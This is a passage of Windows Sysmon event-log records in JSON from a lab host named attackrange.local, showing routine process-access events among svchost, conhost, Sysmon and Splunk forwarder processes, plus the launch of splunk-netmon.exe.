11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3958,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3959,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3960,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3961,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3962,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3963,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3964,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.024\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40C1-5F2D-0000-001082AB0500}\r\nTargetProcessId: 4764\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.024","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40C1-5F2D-0000-001082AB0500}","TargetProcessId":"4764","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3965,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.165\r\nSourceProcessGUID: {90617006-40C1-5F2D-0000-001082AB0500}\r\nSourceProcessId: 4764\r\nSourceThreadId: 4760\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.165","SourceProcessGUID":"{90617006-40C1-5F2D-0000-001082AB0500}","SourceProcessId":"4764","SourceThreadId":"4760","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3966,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nProcessGuid: {90617006-40C1-5F2D-0000-00104DAD0500}\r\nProcessId: 4780\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","ProcessGuid":"{90617006-40C1-5F2D-0000-00104DAD0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk 